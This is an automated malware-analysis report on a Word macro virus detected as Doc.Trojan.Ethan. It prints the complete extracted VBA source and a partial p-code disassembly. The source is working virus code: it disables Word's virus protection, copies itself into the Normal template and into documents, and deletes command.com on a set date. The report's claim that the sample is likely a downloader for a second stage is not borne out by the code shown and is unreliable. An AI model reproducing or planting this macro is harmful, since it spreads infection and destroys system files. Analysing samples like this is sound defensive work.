Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 532f97f0d9e00109…

MALICIOUS

Office (OLE)

38.0 KB Created: 2000-08-22 21:58:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 9a022daa186253c67055fe3d3123f68c SHA-1: 6eac0a0a9d3a18b3030b4a670e391d2d2ee54248 SHA-256: 532f97f0d9e001098a0470e653c5ccda47c2c798b79cb5ca617367aacfccacca
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample contains VBA macros that are designed to write content to 'c:\winhe.sys' and conditionally delete 'c:\command.com'. The ClamAV heuristic also flags the file as 'Doc.Trojan.Ethan-19', suggesting a known malicious document. The VBA script's actions indicate it's likely a downloader or dropper for a second-stage payload.

Heuristics 2

  • ClamAV: Doc.Trojan.Ethan-19 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Ethan-19
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6371 bytes
SHA-256: 1c740643db9e53618e564e9bc8adfdb3a068c1f650fae2e394ded5404d6101ac
Detection
ClamAV: Doc.Trojan.Ethan-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()
On Error Resume Next
s = ActiveDocument.Saved
Application.EnableCancelKey = Not -1
With Options: .ConfirmConversions = 0: .VirusProtection = 0: .SaveNormalPrompt = 0: End With
Randomize
If Dir("c:\winhe.sys", 6) = "" Then
Open "c:\winhe.sys" For Output As #1
For i = 1 To MacroContainer.VBProject.VBComponents.Item(1).codemodule.CountOfLines
a = MacroContainer.VBProject.VBComponents.Item(1).codemodule.Lines(i, 1)
Print #1, a
Next i
Close #1
SetAttr "c:\winhe.sys", 6
End If
Dim asd
asd = Date
Dim asd2
asd2 = #7/1/1999#
If asd = asd2 Then Kill "c:\command.com"
If NormalTemplate.VBProject.VBComponents.Item(1).codemodule.Lines(1, 1) <> "Private Sub Document_Close()" Then
Set t = NormalTemplate.VBProject.VBComponents.Item(1)
ElseIf ActiveDocument.VBProject.VBComponents.Item(1).codemodule.Lines(1, 1) <> "Private Sub Document_Close()" Then
Set t = ActiveDocument.VBProject.VBComponents.Item(1)
Else
t = ""
End If
If t <> "" Then
Open "c:\winhe.sys" For Input As #1
If LOF(1) = 0 Then GoTo q
i = 1
Do While Not EOF(1)
Line Input #1, a
t.codemodule.InsertLines i, a
i = i + 1
Loop
q:
Close #1
If Rnd < 0.3 Then With Dialogs(wdDialogFileSummaryInfo): .Title = "Ethan Frome": .Author = "EW/LN/CB": .Keywords = "Ethan": .Execute: End With
If Left(ActiveDocument.Name, 8) <> "Document" Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
End If
If ActiveDocument.Saved <> s Then ActiveDocument.Saved = s
End Sub

' Processing file: /opt/analyzer/scan_staging/df3de7340fc1410187ffa353ef952650.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 8000 bytes
' Line #0:
' 	FuncDefn (Private Sub Document_Close())
' Line #1:
' 	OnError (Resume Next) 
' Line #2:
' 	Ld ActiveDocument 
' 	MemLd Saved 
' 	St s 
' Line #3:
' 	LitDI2 0x0001 
' 	UMi 
' 	Not 
' 	Ld Application 
' 	MemSt EnableCancelKey 
' Line #4:
' 	StartWithExpr 
' 	Ld Options 
' 	With 
' 	BoS 0x0000 
' 	LitDI2 0x0000 
' 	MemStWith ConfirmConversions 
' 	BoS 0x0000 
' 	LitDI2 0x0000 
' 	MemStWith VirusProtection 
' 	BoS 0x0000 
' 	LitDI2 0x0000 
' 	MemStWith SaveNormalPrompt 
' 	BoS 0x0000 
' 	EndWith 
' Line #5:
' 	ArgsCall Read 0x0000 
' Line #6:
' 	LitStr 0x000C "c:\winhe.sys"
' 	LitDI2 0x0006 
' 	ArgsLd Dir 0x0002 
' 	LitStr 0x0000 ""
' 	Eq 
' 	IfBlock 
' Line #7:
' 	LitStr 0x000C "c:\winhe.sys"
' 	LitDI2 0x0001 
' 	Sharp 
' 	LitDefault 
' 	Open (For Output)
' Line #8:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	Ld MacroContainer 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd codemodule 
' 	MemLd CountOfLines 
' 	For 
' Line #9:
' 	Ld i 
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	Ld MacroContainer 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd codemodule 
' 	ArgsMemLd Lines 0x0002 
' 	St a 
' Line #10:
' 	LitDI2 0x0001 
' 	Sharp 
' 	PrintChan 
' 	Ld a 
' 	PrintItemNL 
' Line #11:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #12:
' 	LitDI2 0x0001 
' 	Sharp 
' 	Close 0x0001 
' Line #13:
' 	LitStr 0x000C "c:\winhe.sys"
' 	LitDI2 0x0006 
' 	ArgsCall SetAttr 0x0002 
' Line #14:
' 	EndIfBlock 
' Line #15:
' 	Dim 
' 	VarDefn asd
' Line #16:
' 	Ld Date 
' 	St asd 
' Line #17:
' 	Dim 
' 	VarDefn asd2
' Line #18:
' 	LitDate 0x0000 0x0000 0xBEC0 0x40E1 
' 	St asd2 
' Line #19:
' 	Ld asd 
' 	Ld asd2 
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitStr 0x000E "c:\command.com"
' 	ArgsCall Kill 0x0001 
' 	EndIf 
' Line #20:
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd codemodule 
' 	ArgsMemLd Lines 0x0002 
' 	LitStr 0x001C "Private Sub Document_Close()"
' 	Ne 
' 	IfBlock 
' Line #21:
' 
... (truncated)